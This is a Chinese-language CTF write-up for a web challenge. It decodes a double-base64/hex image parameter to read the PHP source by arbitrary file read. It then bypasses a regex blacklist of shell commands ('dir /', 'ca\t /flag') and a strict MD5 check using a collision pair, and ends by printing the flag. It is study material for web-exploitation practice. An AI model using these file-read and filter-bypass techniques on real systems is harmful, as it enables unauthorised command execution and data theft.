试试模板注入发现,不行,然后伪协议,不行,再爆破目录也不行。
从?img=TXpVek5UTTFNbVUzTURabE5qYz0
入手,可能是base64编码。
base64解码:
(不知道为什么别的WP上变成这样了,否则解不出来)
TXpVek5UTTFNbVUzTURabE5q
得到:
MzUzNTM1MmU3MDZlNj
再base64解码:
MzUzNTM1MmU3MDZl
得到:
3535352e706e
ASCII hex解码得到:
555.pn(也就是555.png)
那我们尝试用这样的方法获取源码index.php
source --> ASCII --> base64 --> base64
index.php --> 696e6465782e706870 --> Njk2ZTY0NjU3ODJlNzA2ODcw --> TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
代替原本的img文件名
得到网站源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
要达到最后执行到``echo $cmd```,我们需要绕过preg_match()的过滤还有通过POST传递的
a,
b`满足值不同,但md5加密后强比较相同。
- preg_match()绕过
可以用linux命令绕过
,使用dir
命令代替ls
命令
首先?cmd=dir
,没发现什么
接着?cmd=dir%20/
,发现根目录下的文件
bin dev flag lib media opt root sbin sys usr
boot etc home lib64 mnt proc run srv tmp var
接着`?cmd=ca\t%20/flag`
- md5强比较绕过
给个例子:
string1=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
string2=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
他们有一样的md5值:
008ee33a9d58b51cfeb425b0959121c9
得到flag{ad515619-5003-4c37-951e-0b9acc4bc9e2}
REQUEST请求是POST的请求,但也有GET传参
为什么a,b的值要加%?
参考链接:
https://blog.csdn.net/SopRomeo/article/details/104124545
https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
Linux命令执行绕过